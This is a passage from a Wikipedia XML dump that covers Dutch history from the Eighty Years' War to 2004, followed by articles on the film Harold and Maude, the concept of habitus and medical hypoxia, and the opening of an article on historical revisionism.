unpopular and led to a [[revolt]]. The Dutch fought for independence from [[Spain]], leading to the [[Eighty Years' War]] (1568-1648). Seven rebellious provinces united in the [[Union of Utrecht]] in 1579 and formed the [[Republic of the Seven United Netherlands]] (also known as the &quot;United Provinces&quot;).

[[William I of Orange|William of Orange]], the nobleman from whom every [[Dutch monarchy|Dutch monarch]] is descended (including the [[Beatrix of the Netherlands|present Queen]]), led the Dutch during the first part of the war. The very first years were a success for the Spanish troops. However, subsequent sieges in [[Holland]] were countered by the Dutch. The Spanish king lost control of the Netherlands after the sack of Antwerp by mutinous Spanish soldiers killing 10,000 inhabitants. The conservative Catholics in the south and east supported the Spanish. The Spanish recaptured [[Antwerp]] and other [[Flanders|Flemish]] and Dutch cities. It recaptured most of the territory in the Netherlands (but not in [[Flanders]], leading to the historical split between [[The Netherlands]] and [[Flanders]]). Flanders was the most radical anti-Spanish territory. Many Flemish fled to Holland, among them half of the population of Antwerp, 3/4 of Brugge and Ghent and the entire population of Nieuwpoort, Dunkerque and countryside. The war dragged on for another 60 years, but the main fighting was over. The [[Peace of Westphalia]], signed on [[January 30]], [[1648]], confirmed the independence of the United Provinces from [[Spain]] and [[Germany]]. The Dutch didn't regard themselves as Germans any more since the 15th century, but they officially remained a part of [[Germany]] until 1648. National identity was mainly formed by the province people came from. Holland was the most important province by far. The republic of the Seven Provinces came to be known as Holland in foreign countries.

These events formed part of a wider turmoil. See [[Spanish Armada]] for a view of some of the history from further west.

=== Golden Age ===
:''For details on the social and cultural history of the Golden Age, see the [[Dutch Golden Age]] article.

During the Eighty Years' War the [[Netherlands|Dutch]] became the most important trading centre of Northern Europe, instead of Flanders; they [[whaling|hunted whales]] near [[Svalbard]], traded [[spices]] with [[India]] and [[Indonesia]] (via the [[Dutch East India Company]], the first company to issue shares) and started colonies in [[Brazil]], [[New Amsterdam]] (now [[New York]]), [[South Africa]] and the [[West Indies]]. This new nation flourished culturally and economically, creating what historian [[Simon Schama]] has called an &quot;embarrassment of riches&quot;. Speculation in the tulip trade led to a first stockmarket crash in 1637, but the economic crisis was soon overcome. Due to these developments the 17th century is often called the [[Dutch Golden Age|Golden Age]] (''de gouden eeuw'') of the Netherlands. As the Netherlands was a [[republic]], it was largely governed by an aristocracy of city-merchants called the regents (''regenten''), rather than by a [[monarch|king]]. Every city and province had its own government and laws, and a large degree of autonomy. After attempts to find a competent sovereign proved unsuccessful, it was decided that [[sovereignty]] would be vested in the various provincial Estates (''Staten''), the governing bodies of the provinces. The [[Estates-General of the Netherlands|Estates-General]] (''Staten-Generaal''), with its representatives from all the provinces, would decide on matters important to the Republic as a whole. However, at the head of each province was the [[stadtholder]] (''Stadhouder'') of that province, a position held by a descendant of the [[House of Orange]]. Usually the stadtholdership of several provinces was held by a single man.

Following the recognition of the independence of the Netherlands, a decline in the wealth of the Dutch set in. In 1650, the [[stadtholder]] [[William II, Prince of Orange]] died, leaving the nation without a powerful ruler. Since the conception of the Republic, there had been an ongoing struggle for power between the regents and the House of Orange, whose supporters, [[Orangists]], were mainly to be found among the common people. For now, the dispute was decided in favour of the regents: there would be no new [[stadtholder]] (in [[Holland]]) for 22 years to come. In the year 1651, [[England]] imposed the [[1651 Navigation Act]], which severely hurt Dutch trade interests. An incident at sea concerning the Act resulted in the [[First Anglo-Dutch War]], which lasted from 1652 to 1654, ending in the [[Treaty of Westminster (1654)]], by which the Navigation Act remained in effect.

[[Image:Bol, Michiel de Ruyter.jpg|thumb|200px|left|[[Michiel de Ruyter]], a famous [[the Netherlands|Dutch]] [[admiral]], destroyed a large part of the [[England|English]] fleet in 1667, during the [[Second Anglo-Dutch War]]. This led to the [[Treaty of Breda]].]]

The [[Second Anglo-Dutch War]] began in 1665 when the English declared war &amp;mdash; they had already attacked Dutch settlements in the [[New Netherlands]]. Because the Dutch were also troubled by French invasions in the [[Spanish Netherlands]], the English and Dutch signed a peace treaty, the 1667 [[Treaty of Breda]], but not before Dutch admiral [[Michiel de Ruyter]] had destroyed a large part of the English fleet on the [[Thames]]. It was agreed that the English would keep the Dutch possessions in North America (the area around current [[New York City]]), while they would give control of [[Surinam]] to the Dutch. Also, the restrictions in the Navigation Act were loosened.

1672 is known in the Netherlands as the &quot;Disastrous Year&quot; (''Rampjaar''). England declared war on the Republic, (the [[Third Anglo-Dutch War]]), followed by [[France]], [[Münster]] and [[Cologne]], which had all signed alliances against the Republic. France, Cologne and Münster invaded the Republic, while an English attempt to land on the Dutch shore could only just be prevented. In the meantime, a new [[stadtholder]], William III, was appointed. With the aid of friendly German nations, the Dutch succeeded in fighting back [[Cologne]] and [[Münster]], after which the peace was signed with both of them, and England as well, in 1674 (Second [[Treaty of Westminster (1674)]]). In 1678, peace was made with France, although the Spanish and German allies felt betrayed by the treaty signed in [[Nijmegen]].

In the course of the [[Glorious Revolution]], [[William III of Orange|William III]], landed in England at the request of notable English citizens, and dethroned [[James II of England]].

Many immigrants went to the cities in the county of Holland in the 17th and 18th century. They came especially from Protestant Germany. The amount of first generation [[immigration|immigrants]] from outside the Netherlands in Amsterdam was nearly 50% in the 17th and 18th century. If you add immigrants from the second and third generation and immigrants from the Dutch countryside, then the city was mainly inhabited by immigrants. People in most parts of Europe were very poor, and there was a lot of unemployment. But in Amsterdam there was always work. Tolerance was important, because a continuous influx of immigrants was necessary for the economy. Travellers were surprised that the police didn't control them in Amsterdam. The Netherlands also sheltered many famous [[refugees]], including Flemish Protestants; Portuguese and German Jews; French Protestants (Huguenots); the founder of modern philosophy, [[Descartes]]; and the [[Pilgrim Fathers]], who were symbols for the US tradition of [[republicanism]].

The Dutch economy stagnated from the end of the 17th century until the end of the 18th century. The Netherlands slowly lost its position as trading centre of Northern Europe. Amsterdam was a central financial market and bookmarket in Europe but lost this position to London.

In foreign affairs, the Netherlands tried to contain France, but it changed its foreign policy in the 18th century. The Netherlands was still regarded as a major state, when actual power was over. In the 18th century, the Netherlands tried to maintain its independence and kept a policy of neutrality. French invasions in 1672, 1701 and 1748 led to an overthrow of government. The prince of Orange became the most important ruler in 1672 and 1748. The Netherlands was a true republic from 1650&amp;ndash;1672 and 1702&amp;ndash;1748.

== Batavian revolution ==
[[Image:Napoleon1.jpg|thumb|right|120px|[[Napoléon Bonaparte|Napoléon]] turned the Netherlands into the [[Kingdom of Holland]] in 1806.]]
At the end of the 18th century, there was growing unrest in the Netherlands. There was conflict between the [[Orangists]], who wanted stadtholder [[William V of Orange]] to hold more power, and the [[Patriots (faction)|Patriots]], who under the influence of the [[American Revolution|American]] and [[French Revolution]]s wanted a more democratic form of government. The opening shot of this abortive 'Batavian' revolution might be considered the manifesto published by  [[Joan van der Capellen tot den Pol]], the founder of the 'Patriots' in 1781: ''Aan het Volk van Nederland'' (To the people of the Netherlands). After the Netherlands became the second nation to recognise US independence, the British declared war. This [[Fourth Anglo-Dutch War]] (1780&amp;ndash;1784) proved a disaster for the Netherlands, particularly economically. Its peace treaty, according to [[Fernand Braudel]] &quot;sounded the knell of Dutch greatness.&quot; (Braudel 1984 p. 273). In 1785 there was a rebellion by the Patriots, an armed insurrection by local militias determined to defend municipal democracies in certain Dutch towns. &quot;Seen as a whole this revolution is a string of violent and confused events, accidents, speeches, rumours, bitter enmities and armed confrontations.&quot; says Braudel, who sees it as a forerunner of the [[French Revolution]], with the constant slogan &quot;''vrijheit&quot;''.  But the House of Orange, backed by British policy, called upon their [[Prussia|Prussian]] relatives to suppress it. The Orangist reaction was severe: no one dared appear in public without an orange cockade and there were lynchings, the old burgomasters were replaced and a small unpaid Prussian army was billeted in the Netherlands supporting themselves with looting and extortion, Many Patriots fled the country to Brabant or France, perhaps 40,000 in all.

== Batavian Republic and French rule ==
:''For more detailed discussions, see the [[Batavian Republic]] and the [[Kingdom of Holland]].''
Against this background it is less surprising that, after the [[French Revolution]], when [[Napoleon]] invaded and occupied the Netherlands in 1795, the French encountered so little united resistance. [[William V of Orange]] fled to England. The Patriots proclaimed the short-lived [[Batavian Republic]], but government was soon returned to stabler and more experienced hands. In 1806 [[Napoleon]] restyled the Netherlands (along with a small part of what is now Germany) into the [[Kingdom of Holland]], with his brother [[Konijn van Olland|Louis (Lodewijk) Bonaparte]] as king. This too was short-lived, however. [[Napoleon]] incorporated the Netherlands into the [[First French Empire|French empire]] after his brother put Dutch interests ahead of those of the French. The French occupation of the Netherlands ended in 1813 after Napoleon was defeated, a defeat in which [[William V of Orange]] played a prominent role.

During the Napoleonic occupation, the House of Orange signed a treaty with the English in which it gave to that country the Dutch colonies in 'safekeeping' and ordered the colonial governors to surrender to the British. This put an end to much of the Dutch colonial empire. [[Guyana]] and [[Ceylon]] never returned to Dutch rule. The Cape Colony, which had changed hands several times, remained British after 1806. Other colonies, including what is today [[Indonesia]], were returned to the Netherlands under the [[Anglo-Dutch Treaty of 1814]]. Ten years later there was another treaty&amp;mdash;the [[Anglo-Dutch Treaty of 1824]].

== Monarchy ==
:''For details on the Dutch monarchy, see the [[Dutch monarchy]] article.''

After the Napoleonic era the Netherlands were put back on the map of Europe. The country had always been part of the precarious balance of power that had kept France in check. Particularly the [[Russia]]n [[tsar]] wanted the Netherlands to resume this role and wanted the colonies to be returned. A compromise was struck with Britain at the [[Congress of Vienna]], whereby only Indonesia was returned, but the North and South of the Netherlands reunited. In 1815 the country became a monarchy, with the son of  the last [[stadtholder]], William V, the Prince of Orange as king [[William I of the Netherlands|William I]]. In addition, king William I became hereditary [[Grand Duke of Luxembourg]]. William's [[United Kingdom of the Netherlands]] originally consisted of what is now the Netherlands and [[Belgium]], but the French-speaking Belgian ruling minority soon began feeling like second-class citizens. The primary factors that contributed to this feeling were religious (the predominantly [[Catholic]] South versus the mostly [[Protestantism|Protestant]] North), economic (the South was industrialising, the North had always been a merchants' nation) and linguistic (the French-speaking South was not just [[Wallonia]], but also extended to the French-speaking [[bourgeoisie]] in the Flemish cities). In 1830 the situation exploded, the Belgians revolted and declared independence from the North. King William sent an army in 1831, but it was forced to retreat after a few days when the French army was mobilised.  The North refused to recognise [[Belgium]] until 1839.

In 1848 [[Revolutions of 1848|unrest broke out all over Europe]]. Although there were no major events in the Netherlands, these foreign developments persuaded king [[William II of the Netherlands|William II]] to agree to liberal and democratic reform. That same year the [[liberalism|liberal]] [[Johan Rudolf Thorbecke]] was asked by the king to rewrite the [[constitution]], turning the Netherlands into a [[constitutional monarchy]]. The new document was proclaimed valid on [[November 3]] of that year. It severely limited the king's powers (making the cabinet accountable only to an elected [[parliament]]), and it protected [[civil liberties]].

The [[personal union]] between the Netherlands and Luxembourg ended in 1890 when [[Queen Wilhelmina]] ascended to the Dutch throne, as ascendancy rules in Luxemburg prevented a woman from becoming ruling [[Grand Duchess]].

By the end of the 19th century, in the [[New Imperialism]] wave of colonisation, the Netherlands extended their hold on [[Indonesia]]. In 1860 [[Multatuli]] wrote ''[[Max Havelaar]]'', the most famous book in the history of [[Dutch literature]], criticising the exploitation of the country and its inhabitants by the Dutch.

== 20th century ==
:''For details, see the main [[History of the Netherlands: modern history (1900-present)]] article''

Although its army mobilised when [[World War I]] broke out in August 1914, the Netherlands remained a [[neutral country]]. The [[Germany|German]] invasion of [[Belgium]] that same year led to a large flow of refugees from that country (about 1 million). The country being surrounded by states at war, and with the [[North Sea]] unsafe for civilian ships to sail on, food became scarce and was distributed using coupons. With the end of the war in 1918, the situation returned to normalcy.

Although both houses of the Dutch parliament were elected by the people, only men with high incomes were eligible for voting  until 1918, when pressure from [[Socialism|socialist]] movements had resulted in elections in which all men were allowed to vote. In 1922 women also got the right to vote.

The worldwide [[Great Depression]] of 1929 and the early 1930s had crippling effects on the Dutch economy, effects which lasted longer than they did in most European countries. The depression lead to large unemployment and poverty, as well as increasing social unrest. The rise of [[Nazism]] in Germany did not go unnoticed in the Netherlands, and there was growing concern over the possibility of armed conflict. But most Dutch citizens thought that Germany would again respect Dutch neutrality.

=== World War II ===
:''For details, see the main [[Netherlands in World War II]] article and the article on [[Dutch resistance]].''
:''For details on the battle that led to the Dutch surrender in Europe, see the main [[Battle of the Netherlands]] article.''
[[image:WWII_netherlands_persoonsbewijs.jpg|thumb|300px|Two sides of a WWII 'ausweis' or 'persoonsbewijs' (identification)]]
At the outbreak of [[World War II]] in 1939, the Netherlands declared their [[neutral country|neutrality]] again. However, on [[May 10]], [[1940]], [[Nazi Germany]] launched an attack on the Netherlands and Belgium and overran most of the country quickly, fighting against a poorly-equipped Dutch army. By [[May 14]], fighting was only occurring in a few isolated locations. However, on that very day, the [[Luftwaffe]] bombed [[Rotterdam]], the second largest city of the Netherlands, killing about 800 people and destroying large parts of the city, leaving 78,000 homeless. Following the bombardment and German threats of the same for [[Utrecht (city)|Utrecht]], the Netherlands capitulated on [[May 15]] (except the province of [[Zeeland]]).  The royal family and some military forces fled to [[Britain]].  Some members of the royal family eventually moved to [[Ottawa]], [[Canada]] until the Netherlands was liberated, and [[Princess Margriet of the Netherlands|Princess Margriet]] was born during this Canadian exile.

Persecution of [[Jew]]s, of which about 140,000 lived in the Netherlands at the beginning of the war, started shortly after the invasion. At the end of the war, only 40,000 Jews were still alive. Of the 100,000 Jews that didn't hide, only 1000 survived the war. [[Anne Frank]], who later gained world-wide fame when her diary, written in the ''Achterhuis'' (''backhouse''), while hiding from the Nazis, was found and published, died shortly before the liberation of her camp on [[May 5]], [[1945]].

Japanese forces invaded the [[Dutch East Indies]] on [[January 11]], [[1942]]. The Dutch surrendered on [[March 8]], after Japanese troops landed on [[Java island|Java]]. Dutch citizens were captured and put to work in labour camps. However, many Dutch ships and military personnel managed to reach [[Australia]], from where they were able to fight against the Japanese.

In Europe, after the [[Allies of WWII|Allies]] landed in [[Normandy]] in June 1944, they proceeded quickly towards the Dutch border. On [[17 September]] a daring operation, [[Operation Market Garden]], was staged to make a quick incursion into the southern Netherlands and capture bridges across the three main rivers. The bridge at [[Arnhem]], across the [[Rhine]], could however not be captured. The part south of the rivers was liberated in the period September&amp;ndash;November 1944. However, the rest of the country, with a major part of the population, wasn't liberated until May 1945. The winter 1944&amp;ndash;1945 was very harsh, and many Dutch starved, giving the winter the name ''[[Hongerwinter]]'' (Hunger winter). On [[May 5]], [[1945]], following Allied victories in Nazi Germany, Nazi Germany finally surrendered, signing the surrender to the Dutch at [[Wageningen]].  To this day, [[Canada]]'s role in the nation's liberation, as well as its role in providing a safe haven for the royal family during the war, has led to a warm relationship between the nations that is deeply honoured.

===Post-war years===
[[Image:Id-map.png|thumb|right|250px|[[Indonesia]], the former [[Dutch East Indies]], had been a very valuable resource, and the Dutch feared its independence would lead to an economic downfall.]]

Two days after the surrender of Japan, most of the Dutch East Indies declared its independence as [[Indonesia]]. A confusing phase followed, known as the [[Indonesian National Revolution]], with the Netherlands recognising the new country on the one hand, while fighting the Indonesian nationalists in two wars, named ''politionele acties'' (&quot;police actions&quot;). Increasing international pressure led the Netherlands to eventually withdraw. Indonesia formally gained independence on [[December 27]], [[1949]]. Part of the former Dutch East Indies, namely the western part of [[New Guinea]], remained under Dutch control as [[Netherlands New Guinea]] until 1961 when Indonesia invaded the region.

Although it was originally expected that the loss of the [[Indies]] would lead to an economic downfall, the reverse proved to be true, and in the 1950s and [[1960s|60s]] the Dutch economy experienced a near unprecedented growth. In fact, the demand for labour was so strong, that immigration was actively encouraged, first from [[Italy]] and [[Spain]]; then later on, in larger numbers, from [[Turkey]] and [[Morocco]]. Combined with the immigration from (former) colonies like [[Indonesia]], [[Surinam]] and [[Netherlands Antilles]], this meant that the Netherlands was becoming a [[multiculturalism|multicultural]] country.

The [[1960s|60s]] and [[1970s|70s]] were a time of great social and cultural changes. Such as rapid ''[[pillarization|ontzuiling]]'' (literally: depillarisation), a term that describes the decay of the old divisions along class and religious lines (which had lead to things like separate education and separate TV broadcasts for Catholics, Protestants, socialists and liberals). Youths, and students in particular, rejected the traditional morale, and pushed for change in matters like [[women's rights]], [[sexuality]] and [[environmental issues]]. Today, the Netherlands is regarded as a very [[liberalism|liberal]] country, considering [[drug policy of the Netherlands|its drugs policy]] and [[Euthanasia#The Netherlands|its legalisation of euthanasia]]. [[same-sex marriage in the Netherlands|Same-sex marriage]] became permitted on [[1 April]] [[2001]].

In 1952 the Netherlands were among the founders of the [[European Coal and Steel Community]], which would over time evolve into the [[European Union]]. The Netherlands is an industrialised nation but also a large exporter of agricultural products. The country was a founding member of [[NATO]] and participated in the introduction of the [[euro]] in 1999. In recent years the Dutch have often been a driving force behind the integration of European countries in the European Union.

On [[6 May]] [[2002]], the murder on [[Pim Fortuyn]], a right-wing [[populism|populist]] calling for a very strict policy on immigration, shocked the country. His party became a major political force after the elections, significantly changing the political landscape. However, infighting within the party caused them to lose much of their following in elections the next year. Another murder that drew much attention took place on [[2 November]] [[2004]], when film director and publicist [[Theo van Gogh]] was assassinated by a Dutch-Moroccan youth with radical Islamic beliefs. This sparked debate on the existence of [[radical Islam]] in the Netherlands, and on immigration and integration (or lack thereof) as well.

See also: [[Netherlands/2000]], [[Netherlands/2001]]

==See also==
*[[Netherlands]]
*[[Provinces of the Netherlands]]
*[[Politics of the Netherlands]]
*[[History of religion in the Netherlands]]
*[[Geography of the Netherlands]]
*[[Economy of the Netherlands]]
*[[Demographics of the Netherlands]]
*[[Culture of the Netherlands]]
*[[Battle of the Netherlands]]
*[[Dutch monarchy]]
*[[Dutch golden age]]
*[[Dutch East Indies]]
*[[Dutch Empire]]

==References==
*[[Fernand Braudel|Braudel, Fernand]], ''The Perspective of the World'' vol. III of ''Civilization and Capitalism'' 1984.
*[[Jonathan Israel|Israel, Jonathan]], ''The Dutch Republic. Its Rise, Greatness, and Fall 1477-1806''
*[[Simon Schama|Schama, Simon]], ''The Embarrassment of Riches''
*[http://home.zonnet.nl/van.duijvenbode/en/geschnl-o.htm Short survey of the Dutch history]
*[http://dutchrevolt.leidenuniv.nl/Nederlands/default.htm De Tachtigjarige Oorlog (in Dutch)]
*[http://www.geschiedenis.com/index3.html Hoofdstukken uit de Nederlandse geschiedenis (in Dutch)]
*[http://www.20eeuwennederland.nl/periodes/ Chronologisch overzicht van de Nederlandse geschiedenis (in Dutch)]

==External links==
*[http://www.geheugenvannederland.nl/ Het geheugen van Nederland (in Dutch)]
*[http://news.bbc.co.uk/1/hi/world/europe/1043528.stm Timeline from 1914]
*[http://www.niod.nl/ Netherlands Institute for War Documentation]
*[http://home.versatel.nl/postbus/index2.html The Netherlands in prehistory]
*[http://www.gutenberg.org/etext/14971 History of Holland, George Edmundson, 1922, Project Gutenberg EBook.]

[[Category:History of the Netherlands|*]]
[[Category:History of the Germanic peoples]]
[[Category:History of Europe|Netherlands]]

{{Link FA|nl}}

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[[fr:Histoire des Pays-Bas]]
[[fy:Skiednis fan Nederlân]]
[[nl:Geschiedenis van Nederland]]
[[ja:オランダの歴史]]
[[pt:História dos Países Baixos]]
[[fi:Alankomaiden historia]]</text>
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  <page>
    <title>Harold and Maude</title>
    <id>13290</id>
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        <username>Ummit</username>
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      <comment>/* External links */ cat</comment>
      <text xml:space="preserve">{{Infobox Film |
  name        = Harold and Maude|
  image       = Harold&amp;Maude.jpg |
  director    = [[Hal Ashby]] |
  writer      = [[Colin Higgins]] |
  starring    = [[Ruth Gordon]]&lt;br&gt;[[Bud Cort]] |
  producer    = [[Colin Higgins]]&lt;br&gt;[[Charles B. Mulvehill]] |
  movie_music = [[Cat Stevens]] |
  distributor = [[Paramount Pictures|Paramount]] |
  released    = [[December 20]], [[1971]] ([[United States|USA]]) |
  runtime     = 91 min. |
  language    = [[English language|English]] |
  imdb_id     = 0067185 |
  music       = [[Cat Stevens]]|
  awards      = |
  budget      = $1,200,000 (estimated)|
}}

'''''Harold and Maude''''' is a [[1971]] [[film|movie]], directed by [[Hal Ashby]]. The film features both dark and light humor, social satire (including anti-[[war]]), promotes the notion of living life to its fullest, and has long had a [[cult film|cult]] following. The film is number 45 on the [[American Film Institute]]'s [[AFI 100 Funniest Movies|list of 100 Funniest Movies]] and in [[1997]], it was selected for preservation in the [[National Film Registry]] of the [[Library of Congress]].

The film was a commercial failure when it was released and critics were divided. 

The [[screenplay]] which the film was based was written by [[Colin Higgins]], and published as a [[novel]] in 1971. The movie was shot in Palo Alto, California, when it was a green, sleepy college town barely dotted with technology companies.

The movie has given two new words &quot;harolding&quot; (to hang around cemeteries) described by [[Douglas Coupland]] in &quot;Harolding in [[West Vancouver]]&quot; (1996) and &quot;maudism&quot; or &quot;maudianism&quot;, the philosophy of living each day to the fullest.[http://ourworld.compuserve.com/homepages/madhayes/maude.html].

{{spoiler}}

==Summary==
The film first introduces us to Harold, an alienated 20 year-old young man from a [[wealth]]y family who lives in a large [[mansion]] with his dominating mother. Harold stages realistic mock-[[suicide]]s. This has evidently been going on for so long that his mother takes no notice, other than when Harold causes a particular mess with his fake [[blood]]. For amusement, Harold attends [[funeral]]s of people he doesn't know. At these he repeatedly sees Maude, a 79 year-old woman who befriends him. Maude is very much his opposite: a senior citizen, energetic, impulsive, and light-hearted. The two form an unlikely friendship, then romance. But on her 80th birthday, Maude decides to end her life by taking pills. Harold, sad at first, decides to crash his hearse off a cliff. But then you look up the cliff and see Harold, happy, on his way to live life just as Maude advised him to.

==Themes==
[[Hal Ashby]], the [[director (film)|director]] of the film, was part of the [[San Francisco]] [[youth]] culture, and his film posits the doomed youth of the alienated against the vital age of [[the Holocaust]] survivors. (At one point, Harold and the audience quickly see blue numbers [[tattoo]]ed on Maude's arm.) While Harold is part of a society where he can have no importance and no meaning, Maude has survived against [[totalitarianism]]. Against the backdrop of the [[Vietnam War]], Harold can only feel significant by dying. Maude, on the other hand, is a fictionalizer and a dreamer. She sees beauty where others see none, believes in the innate goodness of people (but not the State), and practices what she calls her own individual [[revolution]].  Her backstory is only hinted at in the film. She tells Harold at one point about [[Alfred Dreyfus]] seeing fantastic birds on [[Devil's Island]] and finding out later that they were only seagulls. She says that to her they would always be glorious birds.

==Cast==
* Marjorie Chardin (Maude): [[Ruth Gordon]]
* Harold Chasen: [[Bud Cort]]
* Mrs. Chasen: [[Vivian Pickles]]
* Glaucus: [[Cyril Cusack]]
* Uncle Victor: [[Charles Tyner]]
* Sunshine Doré: [[Ellen Geer]] 
* Priest: [[Eric Christmas]] 
* Psychiatrist: [[G. Wood]] 
* Candy Gulf: [[Judy Engles]]
* Edith Phern: [[Shari Summers]]
* Motorcycle Officer: [[Tom Skerritt]] (as M. Borman)

==Crew==
* Cinematography by: [[John Alonzo]]

===Music===
The soundtrack is by [[Cat Stevens]], and includes two songs which he composed specifically for the movie and which were unavailable for several decades on vinyl or cassette (they were later released on the [[compact disc]] ''Footsteps in the Dark'').

==See Also==
*[[List of Counterculture Films]]

==External links==
*[http://www.imdb.com/title/tt0067185/ The IMDb entry on ''Harold and Maude'']
*[http://www.geocities.com/RainForest/5862/harold.htm Harold and Maude, the unofficial homepage] by Mike Sullivan
*[http://ceh.kitoba.com/hook/kierkegaard.html Kierkegaard's Narrative]: Harold and Maude
*[http://www.norcalmovies.com/HaroldAndMaude/ Guide to shoot locations]
*[http://sfgate.com/cgi-bin/article.cgi?f=/c/a/2006/01/10/BAGC5GKONG1.DTL Real Life Harold &amp; Maude, San Francisco Chronicle, 1/10/06]

{{wikiquote}}

[[Category:1971 films]]
[[Category:Cult films]]
[[Category:United States National Film Registry]]
[[Category:Fictional pairs]]

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  </page>
  <page>
    <title>Habitus</title>
    <id>13291</id>
    <revision>
      <id>42004618</id>
      <timestamp>2006-03-03T04:08:19Z</timestamp>
      <contributor>
        <ip>130.220.79.99</ip>
      </contributor>
      <comment>/* Habitus in Bourdieu's Social Theory */</comment>
      <text xml:space="preserve">'''Habitus''' is a complex concept referring primarily to the non-discursive aspects of culture that bind individuals to larger groups.  

==Origin of Concept==
Introduced by [[Marcel Mauss]] and further developed by [[Norbert Elias]] in the 1930s, habitus can sometimes be understood as those aspects of culture that are anchored in the body or daily practices of individuals, groups, societies, and nations.  It includes the totality of learned habits, bodily skills, styles, tastes, and other non-discursive knowledges that might be said to &quot;go without saying&quot; for a specific group. One work that employs the concept of habitus in a specific context is James F. English's The Economy of Prestige: Prizes, Awards, and the Circulation of Cultural Value (Harvard UP 2005).

[For balance, more discussion of Elias, Mauss and others on Habitus needed here.]

==Habitus in Bourdieu's Social Theory==
The concept is sometimes (incorrectly) said to originate in the &quot;genetic&quot; structuralist theory of [[Pierre Bourdieu]], who adopts the concept and considerably expands its meaning. Bourdieu extended the scope of the term to include a person's [[belief]]s and dispositions. 

The concept of habitus is foundational to Bourdieu’s theory of [[social research]]. Bourdieu combined a [[structuralist]] framework with close attention to [[subjectivity]] in [[social context]]. A key relationship in bridging [[objectivism]] and [[subjectivism]] in social research, for Bourdieu, is that between habitus and field via practices. To study the subjective-objective nature of [[social practices]], the researcher may take on the perspectives of both research subject and observer in kind of double participant observation, which combines the objective study of the world with [[reflexivity (sociology)|reflexive]] knowledge of the subject(s) of the study. The double objectification in his method is described by Jenkins (1992:50), “First, there is the work done in the act of observation and the objectification or distortion of social reality which it is likely to produce. Second, there is an awareness of that distortion and of the observer as a competent social actor in his/her own right.”  

A problem with the conceptualization of habitus can be seen to enter in Bourdieu’s view of [[social life]] (or perhaps this is a strength). In Bourdieu's focus on practices and habitus, they are neither objectively [[determinism|determined]] nor products of [[free will]]. Habitus are cultural structures that exist in people’s bodies and minds. Fields are sets of relations in the world. Through practices, fields condition habitus and habitus inform fields. Practices mediate between the inside and outside. But, habitus cannot be directly observed, and habitus are conditioned structures. 

In Bourdieu's theory, [[human agency|agency]] is not directly observable in practices or in the habitus, but only in the experience of subjectivity. Hence, some argue that Bourdieu’s project could be said to retain an objectivist bias from [[structuralism]]. Further, some critics charge that Bourdieu's &quot;habitus&quot; governs so much of an individual's social makeup that it significantly limits the concept of human agency. In Bourdieu's references to &quot;habitus&quot; it sometimes seems as if so much of an individual's disposition is predetermined by the social habitus that such pre-dispositions cannot be altered or left behind.  

Defenders of Bourdieu argue that such critics have misunderstood and exaggerated the conservative extent of &quot;habitus&quot; in Bourdieu. Bourdieu allows agency its location within the bounded structures of society and self. And, Bourdieu advocates a method for researchers to include diverse cultural voices in their work.

Bourdieu's methodology, if imperfect in some theory aspects, and the [[structuration]] theory of [[Anthony Giddens|Giddens]] are two important contemporary efforts to advance social research methods which reconcile the division of subjectivity and objectivity which plagues the [[social sciences]].

==Further Reading==
*Bourdieu, Pierre. 1977. Outline of a Theory of Practice. Cambridge University Press. 
*Elias, Norbert. The Civilizing Process. 
*Jenkins, Richard. 1992. Pierre Bourdieu. London: Routledge. 
*Mauss, Marcel. 1936. &quot;Les techniques du corps,&quot; Sociologie et anthropologie. Paris: PUF.

[[Category:Sociology]]
[[Category:Philosophical terminology]]
[[Category:Political philosophy]]

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  <page>
    <title>Hypoxia (medical)</title>
    <id>13292</id>
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      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{mergefrom|hypoxemia}}

{{DiseaseDisorder infobox |
  Name        = Hypoxia  |
  ICD10       = |
  ICD9        = {{ICD9|799.0}} |
}}
'''Hypoxia''' is a pathological condition in which the body as a whole ('''generalized hypoxia''') or region of the body ('''tissue hypoxia''') is deprived of adequate [[oxygen]] supply. Hypoxia in which  there is complete deprivation of oxygen supply is referred to as '''anoxia'''. 

Hypoxia is often associated with high altitudes, where it is called [[altitude sickness]].  Hypoxia can also occur while diving underwater, especially with closed-circuit [[rebreather]] systems that control the amount of oxygen in the air breathed in.

Symptoms of generalized hypoxia depend on its severity and speed of onset. They include [[headache]]s, fatigue, shortness of breath, [[nausea]], unsteadiness, and sometimes even [[seizure]]s and [[coma]]. Severe hypoxia induces a blue discoloration of the skin (deoxygenated blood cells lose their bright red color in favor of a dark blue/red color).

==Categories of hypoxia==
*[[Cerebral hypoxia]] in which the brain is deprived of oxygen despite normal blood flow.
*[[Hypoxic hypoxia]] when there's an inadequate supply of oxygen (as caused by high altitudes).
*[[Anemic hypoxia]] in which arterial oxygen pressure is normal, but total oxygen content of the blood is reduced.
*[[Hypemic]] Hypoxia when there's an inability of the blood to carry oxygen.
*[[Intrauterine hypoxia]] which is an unchallenged cause of perinatal death
*[[Ischemia|Ischemic, or stagnant hypoxia]] in which blood flow to the tissues is not adequate.
*[[Histotoxic hypoxia]] in which quantity of oxygen reaching the cells is normal, but the cells are unable to effectively use the oxygen.

==See also==
* [[Asphyxia]]
* [[Drowning]]
* [[Hypoxic tumor]]
* [[Hyperoxia]]
* [[Time of Useful Consciousness]]

[[Category:Pulmonology]]
[[Category:Diving medicine]]
[[Category:Aviation medicine]]

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  <page>
    <title>Historical revisionism</title>
    <id>13293</id>
    <revision>
      <id>41941993</id>
      <timestamp>2006-03-02T19:58:37Z</timestamp>
      <contributor>
        <username>Stbalbach</username>
        <id>87883</id>
      </contributor>
      <text xml:space="preserve">[[Image:Parsonweemsfable.jpg|thumb|right|250px|In ''[[Parson Weems]]' Fable'' (1939) [[Grant Wood]] takes a sly poke at a traditional [[hagiography|hagiographical]] account of [[George Washington]]]]
'''Historical revisionism''' has both a legitimate academic use, and a pejorative meaning. Within the academic field of [[history]], it is the legitimate reexamination of historical facts, with an eye towards updating histories with newly discovered, more accurate, or less biased information. The implication is that history as it has been traditionally told may not be entirely accurate.

The pejorative use refers to illegitimate manipulation of history for political purposes, for example [[Holocaust denial|Holocaust denial]]. This second meaning is described further in the article [[historical revisionism (negationism)]].

==Historical revisionism==

All writings of history are in some way revisionist. If there were a universally accepted view of history, there would be no need to research it. Many historians who write revisionist exposés are motivated by a genuine desire to educate and to correct history. Many great discoveries have come as a result of the research of men and women who have been curious enough to revisit certain historical events and explore them again in depth from a new perspective.

